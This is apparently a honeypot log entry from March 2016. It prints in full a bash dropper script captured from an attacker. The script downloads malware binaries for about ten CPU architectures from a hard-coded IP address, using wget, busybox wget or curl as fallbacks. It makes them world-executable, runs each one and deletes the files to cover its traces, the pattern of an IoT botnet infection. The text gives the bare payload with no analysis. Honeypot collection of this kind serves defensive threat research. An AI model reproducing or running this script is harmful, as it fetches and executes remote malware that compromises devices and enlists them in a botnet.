Honeypot Payload! Seen on: 2016-03-10 01:36

#!/bin/bash
rm -f blj* blj*.* bljarmv4l bljarmv5l bljarmv6l blji586 blji686 bljm68k bljmips bljmipsel bljsh4 bljx86_64 blj.sh
wget -q http://149.202.153.56/a/bljarmv4l || busybox wget -q http://149.202.153.56/a/bljarmv4l || curl -s -O http://149.202.153.56/a/bljarmv4l
wget -q http://149.202.153.56/a/bljarmv5l || busybox wget -q http://149.202.153.56/a/bljarmv5l || curl -s -O http://149.202.153.56/a/bljarmv5l
wget -q http://149.202.153.56/a/bljarmv6l || busybox wget -q http://149.202.153.56/a/bljarmv6l || curl -s -O http://149.202.153.56/a/bljarmv6l
wget -q http://149.202.153.56/a/blji586 || busybox wget -q http://149.202.153.56/a/blji586 || curl -s -O http://149.202.153.56/a/blji586
wget -q http://149.202.153.56/a/blji686 || busybox wget -q http://149.202.153.56/a/blji686 || curl -s -O http://149.202.153.56/a/blji686
wget -q http://149.202.153.56/a/bljm68k || busybox wget -q http://149.202.153.56/a/bljm68k || curl -s -O http://149.202.153.56/a/bljm68k
wget -q http://149.202.153.56/a/bljmips || busybox wget -q http://149.202.153.56/a/bljmips || curl -s -O http://149.202.153.56/a/bljmips
wget -q http://149.202.153.56/a/bljmipsel || busybox wget -q http://149.202.153.56/a/bljmipsel || curl -s -O http://149.202.153.56/a/bljmipsel
wget -q http://149.202.153.56/a/bljsh4 || busybox wget -q http://149.202.153.56/a/bljsh4 || curl -s -O http://149.202.153.56/a/bljsh4
wget -q http://149.202.153.56/a/bljx86_64 || busybox wget -q http://149.202.153.56/a/bljx86_64 || curl -s -O http://149.202.153.56/a/bljx86_64
busybox chmod 777 blj*
chmod 777 blj*
./bljarmv4l
./bljarmv5l
./bljarmv6l
./blji586
./blji686
./bljm68k
./bljmips
./bljmipsel
./bljsh4
./bljx86_64
rm -f blj* blj*.* bljarmv4l bljarmv5l bljarmv6l blji586 blji686 bljm68k bljmips bljmipsel bljsh4 bljx86_64 blj.sh